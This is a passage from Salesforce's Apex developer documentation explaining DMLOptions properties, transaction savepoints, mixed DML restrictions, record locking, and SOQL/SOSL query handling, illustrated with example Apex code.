• The user locale for labels.
• Whether the operation allows for partial success.
The Database.DMLOptions class has the following properties:
• allowFieldTruncation Property
• assignmentRuleHeader Property
• dupicateRuleHeader
• emailHeader Property
• localeOptions Property
• optAllOrNone Property
DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect only for record
operations performed using Apex DML and not through the Salesforce user interface.
allowFieldTruncation Property
The allowFieldTruncation property specifies the truncation behavior of strings. In Apex saved against API versions previous
to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is
specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation property allows you
to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against API versions 15.0 and later.
The allowFieldTruncation property takes a Boolean value. If true, the property truncates String values that are too long,
which is the behavior in API versions 14.0 and earlier. For example:
Database.DMLOptions dml = new Database.DMLOptions();
dml.allowFieldTruncation = true;
assignmentRuleHeader Property
The assignmentRuleHeader property specifies the assignment rule to be used when creating a case or lead.
Note: The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory management.
Using the assignmentRuleHeader property, you can set these options:
• assignmentRuleID: The ID of an assignment rule for the case or lead. The assignment rule can be active or inactive. The ID
can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule. If the value is not in
the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.
• useDefaultRule: Indicates whether the default (active) assignment rule will be used for a case or lead. If specified, do not
specify an assignmentRuleId.
The following example uses the useDefaultRule option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule= true;
132
Working with Data in Apex
More About DML
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
The following example uses the assignmentRuleID option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn';
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
Note: If there are no assignment rules in the organization, in API version 29.0 and earlier, creating a case or lead with
useDefaultRule set to true results in the case or lead being assigned to the predefined default owner. In API version 30.0
and later, the case or lead is unassigned and doesn't get assigned to the default owner.
dupicateRuleHeader Property
The dupicateRuleHeader property determines whether a record that’s identified as a duplicate can be saved. Duplicate rules
are part of the Duplicate Management feature.
Using the dupicateRuleHeader property, you can set these options.
• allowSave: Indicates whether a record that’s identified as a duplicate can be saved.
The following example shows how to save an account record that’s been identified as a duplicate. To learn how to iterate through
duplicate errors, see DuplicateError Class
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.AllowSave = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
System.debug('Duplicate account has been inserted in Salesforce!');
}
emailHeader Property
The Salesforce user interface allows you to specify whether or not to send an email when the following events occur:
• Creation of a new case or task
• Conversion of a case email to a contact
• New user email notification
• Lead queue email notification
• Password reset
In Apex saved against API version 15.0 or later, the Database.DMLOptions emailHeader property enables you to specify additional
information regarding the email that gets sent when one of the events occurs because of Apex DML code execution.
Using the emailHeader property, you can set these options.
• triggerAutoResponseEmail: Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.
This email can be automatically triggered by a number of events, for example when creating a case or resetting a user password. If
133
Working with Data in Apex
More About DML
this value is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is
sent to that address. If not, the email is sent to the address specified in SuppliedEmail.
• triggerOtherEmail: Indicates whether to trigger email outside the organization (true) or not (false). This email can be
automatically triggered by creating, editing, or deleting a contact for a case.
• triggerUserEmail: Indicates whether to trigger email that is sent to users in the organization (true) or not (false). This
email can be automatically triggered by a number of events; resetting a password, creating a new user, or creating or modifying a
task.
Note: Adding comments to a case in Apex doesn’t trigger email to users in the organization even if triggerUserEmail
is set to true.
Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for emailHeader
take effect only for DML operations carried out in Apex code.
In the following example, the triggerAutoResponseEmail option is specified:
Account a = new Account(name='Acme Plumbing');
insert a;
Contact c = new Contact(email='jplumber@salesforce.com', firstname='Joe',lastname='Plumber',
accountid=a.id);
insert c;
Database.DMLOptions dlo = new Database.DMLOptions();
dlo.EmailHeader.triggerAutoResponseEmail = true;
Case ca = new Case(subject='Plumbing Problems', contactid=c.id);
database.insert(ca, dlo);
Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which IsGroupEvent
is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for
group event email sent through Apex:
• Sending a group event invitation to a user respects the triggerUserEmail option
• Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
• Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail
options, as appropriate
localeOptions Property
The localeOptions property specifies the language of any labels that are returned by Apex. The value must be a valid user locale
(language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The first two characters are always an ISO
language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has an underscore (_) and another
ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US', and the string for French Canadian is
'fr_CA.'
For a list of the languages that Salesforce supports, see Supported Languages in the Salesforce online help.
134
Working with Data in Apex
More About DML
optAllOrNone Property
The optAllOrNone property specifies whether the operation allows for partial success. If optAllOrNone is set to true, all
changes are rolled back if any record causes errors. The default for this property is false and successfully processed records are
committed while records with errors aren't. This property is available in Apex saved against Salesforce API version 20.0 and later.
Transaction Control
All requests are delimited by the trigger, class method, Web Service, Visualforce page or anonymous block that executes the Apex code.
If the entire request completes successfully, all changes are committed to the database. For example, suppose a Visualforce page called
an Apex controller, which in turn called an additional Apex class. Only when all the Apex code has finished running and the Visualforce
page has finished running, are the changes committed to the database. If the request does not complete successfully, all database
changes are rolled back.
Sometimes during the processing of records, your business rules require that partial work (already executed DML statements) be “rolled
back” so that the processing can continue in another direction. Apex gives you the ability to generate a savepoint, that is, a point in the
request that specifies the state of the database at that time. Any DML statement that occurs after the savepoint can be discarded, and
the database can be restored to the same condition it was in at the time you generated the savepoint.
The following limitations apply to generating savepoint variables and rolling back the database:
• If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint
variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then you rolled back
to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it.
• References to savepoints cannot cross trigger invocations because each trigger invocation is a new trigger context. If you declare a
savepoint as a static variable then try to use it across trigger contexts, you will receive a run-time error.
• Each savepoint you set counts against the governor limit for DML statements.
• Static variables are not reverted during a rollback. If you try to run the trigger again, the static variables retain the values from the
first run.
• Each rollback counts against the governor limit for DML statements. You will receive a runtime error if you try to rollback the database
additional times.
• The ID on an sObject inserted after setting a savepoint is not cleared after a rollback. Create an sObject to insert after a rollback.
Attempting to insert the sObject using the variable created before the rollback fails because the sObject variable has an ID. Updating
or upserting the sObject using the same variable also fails because the sObject is not in the database and, thus, cannot be updated.
The following is an example using the setSavepoint and rollback Database methods.
Account a = new Account(Name = 'xxx'); insert a;
System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
// Create a savepoint while AccountNumber is null
Savepoint sp = Database.setSavepoint();
// Change the account number
a.AccountNumber = '123';
update a;
System.assertEquals('123', [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
// Rollback to the previous null value
Database.rollback(sp);
135
Working with Data in Apex
More About DML
System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
sObjects That Cannot Be Used Together in DML Operations
DML operations on certain sObjects, sometimes referred to as setup objects, can’t be mixed with DML on other sObjects in the same
transaction. This restriction exists because some sObjects affect the user’s access to records in the org. You must insert or update these
types of sObjects in a different transaction to prevent operations from happening with incorrect access-level permissions. For example,
you can’t update an account and a user role in a single transaction. However, deleting a DML operation has no restrictions.
You can’t use the following sObjects with other sObjects when performing DML operations in the same transaction.
• FieldPermissions
• Group
You can only insert and update a group in a transaction with other sObjects. Other DML operations aren’t allowed.
• GroupMember
You can insert and update a group member only in a transaction with other sObjects in Apex code saved using Salesforce API version
14.0 and earlier.
• ObjectPermissions
• PermissionSet
• PermissionSetAssignment
• QueueSObject
• ObjectTerritory2AssignmentRule
• ObjectTerritory2AssignmentRuleItem
• RuleTerritory2Association
• SetupEntityAccess
• Territory2
• Territory2Model
• UserTerritory2Association
• User
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier.
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later if
UserRoleId is specified as null.
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later if the
following fields are not also updated:
– UserRoleId
– IsActive
– ForecastEnabled
– IsPortalEnabled
– Username
– ProfileId
136
Working with Data in Apex
More About DML
• UserRole
• UserTerritory
• Territory
• Custom settings in Apex code saved using Salesforce API version 17.0 and earlier.
If you're using a Visualforce page with a custom controller, you can't mix sObject types with any of these special sObjects within a single
request or action. However, you can perform DML operations on these different types of sObjects in subsequent requests. For example,
you can create an account with a save button, and then create a user with a non-null role with a submit button.
You can perform DML operations on more than one type of sObject in a single class using the following process:
1. Create a method that performs a DML operation on one type of sObject.
2. Create a second method that uses the future annotation to manipulate a second sObject type.
This process is demonstrated in the example in the next section.
Example: Using a Future Method to Perform Mixed DML Operations
This example shows how to perform mixed DML operations by using a future method to perform a DML operation on the User object.
public class MixedDMLFuture {
public static void useFutureMethod() {
// First DML operation
Account a = new Account(Name='Acme');
insert a;
// This next operation (insert a user with a role)
// can't be mixed with the previous insert unless
// it is within a future method.
// Call future method to insert a user with a role.
Util.insertUserWithRole(
'mruiz@awcomputing.com', 'mruiz',
'mruiz@awcomputing.com', 'Ruiz');
}
}
public class Util {
@future
public static void insertUserWithRole(
String uname, String al, String em, String lname) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
// Create new user with a non-null user role ID
User u = new User(alias = al, email=em,
emailencodingkey='UTF-8', lastname=lname,
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username=uname);
insert u;
}
}
137
Working with Data in Apex
More About DML
Mixed DML Operations in Test Methods
Test methods allow for performing mixed Data Manipulation Language (DML) operations that include both setup sObjects and other
sObjects if the code that performs the DML operations is enclosed within System.runAs method blocks. You can also perform DML
in an asynchronous job that your test method calls. These techniques enable you, for example, to create a user with a role and other
sObjects in the same test.
The setup sObjects are listed in sObjects That Cannot Be Used Together in DML Operations.
Example: Mixed DML Operations in System.runAs Blocks
This example shows how to enclose mixed DML operations within System.runAs blocks to avoid the mixed DML error. The
System.runAs block runs in the current user’s context. It creates a test user with a role and a test account, which is a mixed DML
operation.
@isTest
private class MixedDML {
static testMethod void mixedDMLExample() {
User u;
Account a;
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// Insert account as current user
System.runAs (thisUser) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
u = new User(alias = 'jsmith', email='jsmith@acme.com',
emailencodingkey='UTF-8', lastname='Smith',
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username='jsmith@acme.com');
insert u;
a = new Account(name='Acme');
insert a;
}
}
}
Use @future to Bypass the Mixed DML Error in a Test Method
Mixed DML operations within a single transaction aren’t allowed. You can’t perform DML on a setup sObject and another sObject in the
same transaction. However, you can perform one type of DML as part of an asynchronous job and the others in other asynchronous jobs
or in the original transaction. This class contains an @future method to be called by the class in the subsequent example.
public class InsertFutureUser {
@future
public static void insertUser() {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
User futureUser = new User(firstname = 'Future', lastname = 'User',
alias = 'future', defaultgroupnotificationfrequency = 'N',
digestfrequency = 'N', email = 'test@test.org',
emailencodingkey = 'UTF-8', languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id,
138
Working with Data in Apex
More About DML
timezonesidkey = 'America/Los_Angeles',
username = 'futureuser@test.org',
userpermissionsmarketinguser = false,
userpermissionsofflineuser = false, userroleid = r.Id);
insert(futureUser);
}
}
This class calls the method in the previous class.
@isTest
public class UserAndContactTest {
public testmethod static void testUserAndContact() {
InsertFutureUser.insertUser();
Contact currentContact = new Contact(
firstName = String.valueOf(System.currentTimeMillis()),
lastName = 'Contact');
insert(currentContact);
}
}
sObjects That Don’t Support DML Operations
Your organization contains standard objects provided by Salesforce and custom objects that you created. These objects can be accessed
in Apex as instances of the sObject data type. You can query these objects and perform DML operations on them. However, some
standard objects don’t support DML operations although you can still obtain them in queries. They include the following:
• AccountTerritoryAssignmentRule
• AccountTerritoryAssignmentRuleItem
• ApexComponent
• ApexPage
• BusinessHours
• BusinessProcess
• CategoryNode
• CurrencyType
• DatedConversionRate
• NetworkMember (allows update only)
• ProcessInstance
• Profile
• RecordType
• SelfServiceUser
• StaticResource
• Territory2
• UserAccountTeamMember
• UserTerritory
• WebLink
139
Working with Data in Apex
More About DML
Note: All standard and custom objects can also be accessed through the SOAP API. ProcessInstance is an exception. You can’t
create, update, or delete ProcessInstance in the SOAP API.
Bulk DML Exception Handling
Exceptions that arise from a bulk DML call (including any recursive DML operations in triggers that are fired as a direct result of the call)
are handled differently depending on where the original call came from:
• When errors occur because of a bulk DML call that originates directly from the Apex DML statements, or if the allOrNone
parameter of a Database DML method was specified as true, the runtime engine follows the “all or nothing” rule: during a single
operation, all records must be updated successfully or the entire operation rolls back to the point immediately preceding the DML
statement.
• When errors occur because of a bulk DML call that originates from the SOAP API with default settings, or if the allOrNone
parameter of a Database DML method was specified as false, the runtime engine attempts at least a partial save:
1. During the first attempt, the runtime engine processes all records. Any record that generates an error due to issues such as
validation rules or unique index violations is set aside.
2. If there were errors during the first attempt, the runtime engine makes a second attempt that includes only those records that
did not generate errors. All records that didn't generate an error during the first attempt are processed, and if any record generates
an error (perhaps because of race conditions) it is also set aside.
3. If there were additional errors during the second attempt, the runtime engine makes a third and final attempt which includes
only those records that didn’t generate errors during the first and second attempts. If any record generates an error, the entire
operation fails with the error message, “Too many batch retries in the presence of Apex triggers and partial failures.”
Note: Note the following:
– During the second and third attempts, governor limits are reset to their original state before the first attempt. See Execution
Governors and Limits on page 274.
– Apex triggers are fired for the first save attempt, and if errors are encountered for some records and subsequent attempts
are made to save the subset of successful records, triggers are re-fired on this subset of records.
Things You Should Know about Data in Apex
Non-Null Required Fields Values and Null Fields
When inserting new records or updating required fields on existing records, you must supply non-null values for all required fields.
Unlike the SOAP API, Apex allows you to change field values to null without updating the fieldsToNull array on the sObject
record. The API requires an update to this array due to the inconsistent handling of null values by many SOAP providers. Because
Apex runs solely on the Force.com platform, this workaround is unnecessary.
DML Not Supported with Some sObjects
DML operations are not supported with certain sObjects. See sObjects That Don’t Support DML Operations.
String Field Truncation and API Version
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value
that is too long for the field.
sObject Properties to Enable DML Operations
To be able to insert, update, delete, or undelete an sObject record, the sObject must have the corresponding property (createable,
updateable, deletable, or undeletable respectively) set to true.
140
Working with Data in Apex
More About DML
ID Values
The insert statement automatically sets the ID value of all new sObject records. Inserting a record that already has an ID—and
therefore already exists in your organization's data—produces an error. See Lists for more information.
The insert and update statements check each batch of records for duplicate ID values. If there are duplicates, the first five are
processed. For the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with an error similar to the following:
Maximum number of duplicate updates in one batch (5 allowed). Attempt to update Id
more than once in this API call: number_of_attempts.
The ID of an updated sObject record cannot be modified in an update statement, but related record IDs can.
Fields With Unique Constraints
For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example,
inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have
unique names.
System Fields Automatically Set
When inserting new records, system fields such as CreatedDate, CreatedById, and SystemModstamp are automatically
updated. You cannot explicitly specify these values in your Apex. Similarly, when updating records, system fields such as
LastModifiedDate, LastModifiedById, and SystemModstamp are automatically updated.
Maximum Number of Records Processed by DML Statement
You can pass a maximum of 10,000 sObject records to a single insert, update, delete, and undelete method.
Each upsert statement consists of two operations, one for inserting records and one for updating records. Each of these operations
is subject to the runtime limits for insert and update, respectively. For example, if you upsert more than 10,000 records and
all of them are being updated, you receive an error. (See Execution Governors and Limits on page 274)
Upsert and Foreign Keys
You can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see Field Types
in the Object Reference for Salesforce and Force.com.
Creating Records for Multiple Object Types
As with the SOAP API, you can create records in Apex for multiple object types, including custom objects, in one DML call with API
version 20.0 and later. For example, you can create a contact and an account in one call. You can create records for up to 10 object
types in one call.
Records are saved in the same order that they’re entered in the sObject input array. If you’re entering new records that have a
parent-child relationship, the parent record must precede the child record in the array. For example, if you’re creating a contact that
references an account that’s also being created in the same call, the account must have a smaller index in the array than the contact
does. The contact references the account by using an External ID field.
You can’t add a record that references another record of the same object type in the same call. For example, the Contact object has
a Reports To field that’s a reference to another contact. You can’t create two contacts in one call if one contact uses the
Reports To field to reference a second contact in the input array. You can create a contact that references another contact that
has been previously created.
Records for multiple object types are broken into multiple chunks by Salesforce. A chunk is a subset of the input array, and each
chunk contains records of one object type. Data is committed on a chunk-by-chunk basis. Any Apex triggers that are related to the
records in a chunk are invoked once per chunk. Consider an sObject input array that contains the following set of records:
account1, account2, contact1, contact2, contact3, case1, account3, account4, contact4
Salesforce splits the records into five chunks:
1. account1, account2
2. contact1, contact2, contact3
141
Working with Data in Apex
More About DML
3. case1
4. account3, account4
5. contact4
Each call can process up to 10 chunks. If the sObject array contains more than 10 chunks, you must process the records in more than
one call. For additional information about this feature, see Creating Records for Different Object Types in the SOAP API Developer's
Guide.
Note: For Apex, the chunking of the input array for an insert or update DML operation has two possible causes: the existence
of multiple object types or the default chunk size of 200. If chunking in the input array occurs because of both of these reasons,
each chunk is counted toward the limit of 10 chunks. If the input array contains only one type of sObject, you won’t hit this
limit. However, if the input array contains at least two sObject types and contains a high number of objects that are chunked
into groups of 200, you might hit this limit. For example, if you have an array that contains 1,001 consecutive leads followed
by 1,001 consecutive contacts, the array will be chunked into 12 groups: Two groups are due to the different sObject types of
Lead and Contact, and the remaining are due to the default chunking size of 200 objects. In this case, the insert or update
operation returns an error because you reached the limit of 10 chunks in hybrid arrays. The workaround is to call the DML
operation for each object type separately.
DML and Knowledge Objects
To execute DML code on knowledge articles (KnowledgeArticleVersion types such as the custom FAQ__kav article type), the running
user must have the Knowledge User feature license. Otherwise, calling a class method that contains DML operations on knowledge
articles results in errors. If the running user isn’t a system administrator and doesn’t have the Knowledge User feature license, calling
any method in the class returns an error even if the called method doesn’t contain DML code for knowledge articles but another
method in the class does. For example, the following class contains two methods, only one of which performs DML on a knowledge
article. A non-administrator non-knowledge user who calls the doNothing method will get the following error: DML operation
UPDATE not allowed on FAQ__kav
public class KnowledgeAccess {
public void doNothing() {
}
public void DMLOperation() {
FAQ__kav[] articles = [SELECT Id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
Language = 'en_US'];
update articles;
}
}
As a workaround, cast the input array to the DML statement from an array of FAQ__kav articles to an array of the generic sObject
type as follows:
public void DMLOperation() {
FAQ__kav[] articles = [SELECT id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
Language = 'en_US'];
update (sObject[]) articles;
}
142
Working with Data in Apex
Locking Records
Locking Records
Locking Statements
In Apex, you can use FOR UPDATE to lock sObject records while they’re being updated in order to prevent race conditions and other
thread safety problems.
While an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface.
The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won’t be
changed by another client during the lock period. The lock gets released when the transaction completes.
To lock a set of sObject records in Apex, embed the keywords FOR UPDATE after any inline SOQL statement. For example, the following
statement, in addition to querying for two accounts, also locks the accounts that are returned:
Account [] accts = [SELECT Id FROM Account LIMIT 2 FOR UPDATE];
Note: You can’t use the ORDER BY keywords in any SOQL query that uses locking.
Locking Considerations
• While the records are locked by a client, the locking client can modify their field values in the database in the same transaction. Other
clients have to wait until the transaction completes and the records are no longer locked before being able to update the same
records. Other clients can still query the same records while they’re locked.
• If you attempt to lock a record currently locked by another client, your process waits for the lock to be released before acquiring a
new lock. If the lock isn’t released within 10 seconds, you will get a QueryException. Similarly, if you attempt to update a record
currently locked by another client and the lock isn’t released within 10 seconds, you will get a DmlException.
• If a client attempts to modify a locked record, the update operation might succeed if the lock gets released within a short amount
of time after the update call was made. In this case, it is possible that the updates will overwrite those made by the locking client if
the second client obtained an old copy of the record. To prevent this from happening, the second client must lock the record first.
The locking process returns a fresh copy of the record from the database through the SELECT statement. The second client can
use this copy to make new updates.
• When you perform a DML operation on one record, related records are locked in addition to the record in question. For more
information, see the Record Locking Cheat Sheet.
Warning: Use care when setting locks in your Apex code. See Avoiding Deadlocks.
Locking in a SOQL For Loop
The FOR UPDATE keywords can also be used within SOQL for loops. For example:
for (Account[] accts : [SELECT Id FROM Account
FOR UPDATE]) {
// Your code
}
As discussed in SOQL For Loops, the example above corresponds internally to calls to the query() and queryMore() methods
in the SOAP API.
Note that there is no commit statement. If your Apex trigger completes successfully, any database changes are automatically committed.
If your Apex trigger does not complete successfully, any changes made to the database are rolled back.
143
Working with Data in Apex
SOQL and SOSL Queries
Avoiding Deadlocks
Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple database tables or
rows. To avoid such deadlocks, the Apex runtime engine:
1. First locks sObject parent records, then children.
2. Locks sObject records in order of ID when multiple records of the same type are being edited.
As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard deadlock
avoidance techniques by accessing tables and rows in the same order from all locations in an application.
SOQL and SOSL Queries
You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in Apex
by surrounding the statement in square brackets.
SOQL Statements
SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for count method queries.
For example, you could retrieve a list of accounts that are named Acme:
List aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme'];
From this list, you can access individual elements:
if (!aa.isEmpty()) {
// Execute commands
}
You can also create new objects from SOQL queries on existing ones. The following example creates a new contact for the first account
with the number of employees greater than 10:
Contact c = new Contact(Account = [SELECT Name FROM Account
WHERE NumberOfEmployees > 10 LIMIT 1]);
c.FirstName = 'James';
c.LastName = 'Yoyce';
Note that the newly created object contains null values for its fields, which will need to be set.
The count method can be used to return the number of rows returned by a query. The following example returns the total number
of contacts with the last name of Weissman:
Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman'];
You can also operate on the results using standard arithmetic:
Integer j = 5 * [SELECT COUNT() FROM Account];
SOQL limits apply when executing SOQL queries. See Execution Governors and Limits.
For a full description of SOQL query syntax, see the Salesforce SOQL and SOSL Reference Guide.
144
Working with Data in Apex
Working with SOQL and SOSL Query Results
SOSL Statements
SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result
lists are always returned in the same order as they were specified in the SOSL query. If a SOSL query does not return any records for a
specified sObject type, the search results include an empty list for that sObject.
For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map:
List> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];
Note: The syntax of the FIND clause in Apex differs from the syntax of the FIND clause in the SOAP API and REST API :
• In Apex, the value of the FIND clause is demarcated with single quotes. For example:
FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead
• In the Force.com API, the value of the FIND clause is demarcated with braces. For example:
FIND {map*} IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead
From searchList, you can create arrays for each object returned:
Account [] accounts = ((List)searchList[0]);
Contact [] contacts = ((List)searchList[1]);
Opportunity [] opportunities = ((List)searchList[2]);
Lead [] leads = ((List)searchList[3]);
SOSL limits apply when executing SOSL queries. See Execution Governors and Limits.
For a full description of SOSL query syntax, see the Salesforce SOQL and SOSL Reference Guide.
Working with SOQL and SOSL Query Results
SOQL and SOSL queries only return data for sObject fields that are selected in the original query. If you try to access a field that was not
selected in the SOQL or SOSL query (other than ID), you receive a runtime error, even if the field contains a value in the database. The
following code example causes a runtime error:
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is not selected
String name = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1].Name;
The following is the same code example rewritten so it does not produce a runtime error. Note that Name has been added as part of
the select statement, after Id.
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is now selected
String name = [SELECT Id, Name FROM Account WHERE Name = 'Singha' LIMIT 1].Name;
145
Working with Data in Apex
Accessing sObject Fields Through Relationships
Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently, you must
dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a SOQL query, accesses
the first account record in the list, and then dereferences the record's AnnualRevenue field:
Double rev = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme'][0].AnnualRevenue;
// When only one result is returned in a SOQL query, it is not necessary
// to include the list's index.
Double rev2 = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme' LIMIT 1].AnnualRevenue;
The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the query returns
an Integer as the result of a COUNT operation:
Integer i = [SELECT COUNT() FROM Account];
Fields in records returned by SOSL queries must always be dereferenced.
Also note that sObject fields that contain formulas return the value of the field at the time the SOQL or SOSL query was issued. Any
changes to other fields that are used within the formula are not reflected in the formula field value until the record has been saved and
re-queried in Apex. Like other read-only sObject fields, the values of the formula fields themselves cannot be changed in Apex.
Accessing sObject Fields Through Relationships
sObject records represent relationships to other records with two fields: an ID and an address that points to a representation of the
associated sObject. For example, the Contact sObject has both an AccountId field of type ID, and an Account field of type Account
that points to the associated sObject record itself.
The ID field can be used to change the account with which the contact is associated, while the sObject reference field can be used to
access data from the account. The reference field is only populated as the result of a SOQL or SOSL query (see note).
For example, the following Apex code shows how an account and a contact can be associated with one another, and then how the
contact can be used to modify a field on the account:
Note: To provide the most complete example, this code uses some elements that are described later in this guide:
• For information on insert and update, see Insert Statement on page 606 and Update Statement on page 606.
Account a = new Account(Name = 'Acme');
insert a; // Inserting the record automatically assigns a
// value to its ID field
Contact c = new Contact(LastName = 'Weissman');
c.AccountId = a.Id;
// The new contact now points at the new account
insert c;
// A SOQL query accesses data for the inserted contact,
// including a populated c.account field
c = [SELECT Account.Name FROM Contact WHERE Id = :c.Id];
// Now fields in both records can be changed through the contact
c.Account.Name = 'salesforce.com';
c.LastName = 'Roth';
// To update the database, the two types of records must be
146
Working with Data in Apex
Understanding Foreign Key and Parent-Child Relationship
SOQL Queries
// updated separately
update c;
// This only changes the contact's last name
update c.Account; // This updates the account name
Note: The expression c.Account.Name, and any other expression that traverses a relationship, displays slightly different
characteristics when it is read as a value than when it is modified:
• When being read as a value, if c.Account is null, then c.Account.Name evaluates to null, but does not yield a
NullPointerException. This design allows developers to navigate multiple relationships without the tedium of having
to check for null values.
• When being modified, if c.Account is null, then c.Account.Name does yield a NullPointerException.
In SOSL, you would access data for the inserted contact in a similar way to the SELECT statement used in the previous SOQL example.
List> searchList = [FIND 'Acme' IN ALL FIELDS RETURNING
Contact(id,Account.Name)]
In addition, the sObject field key can be used with insert, update, or upsert to resolve foreign keys by external ID. For example:
Account refAcct = new Account(externalId__c = '12345');
Contact c = new Contact(Account = refAcct, LastName = 'Kay');
insert c;
This inserts a new contact with the AccountId equal to the account with the external_id equal to ‘12345’. If there is no such
account, the insert fails.
Tip: The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If this code
was called multiple times, it could reach the execution limit for the maximum number of SOQL queries. For more information on
execution limits, see Execution Governors and Limits on page 274.
Account refAcct = [SELECT Id FROM Account WHERE externalId__c='12345'];
Contact c = new Contact(Account = refAcct.Id);
insert c;
Understanding Foreign Key and Parent-Child Relationship SOQL Queries
The SELECT statement of a SOQL query can be any valid SOQL statement, including foreign key and parent-child record joins. If foreign
key joins are included, the resulting sObjects can be referenced using normal field notation. For example:
System.debug([SELECT Account.Name FROM Contact
WHERE FirstName = 'Caroline'].Account.Name);
Additionally, parent-child relationships in sObjects act as SOQL queries as well. For example:
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts)
FROM Account
WHERE Name = 'Acme']) {
Contact[] cons = a.Contacts;
}
//The following example also works because we limit to only 1 contact
147
Working with Data in Apex
Working with SOQL Aggregate Functions
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts LIMIT 1)
FROM Account
WHERE Name = 'testAgg']) {
Contact c = a.Contacts;
}
Working with SOQL Aggregate Functions
Aggregate functions in SOQL, such as SUM() and MAX(), allow you to roll up and summarize your data in a query. For more information
on aggregate functions, see ”Aggregate Functions” in the Salesforce SOQL and SOSL Reference Guide.
You can use aggregate functions without using a GROUP BY clause. For example, you could use the AVG() aggregate function to
find the average Amount for all your opportunities.
AggregateResult[] groupedResults
= [SELECT AVG(Amount)aver FROM Opportunity];
Object avgAmount = groupedResults[0].get('aver');
Note that any query that includes an aggregate function returns its results in an array of AggregateResult objects. AggregateResult is a
read-only sObject and is only used for query results.
Aggregate functions become a more powerful tool to generate reports when you use them with a GROUP BY clause. For example,
you could find the average Amount for all your opportunities by campaign.
AggregateResult[] groupedResults
= [SELECT CampaignId, AVG(Amount)
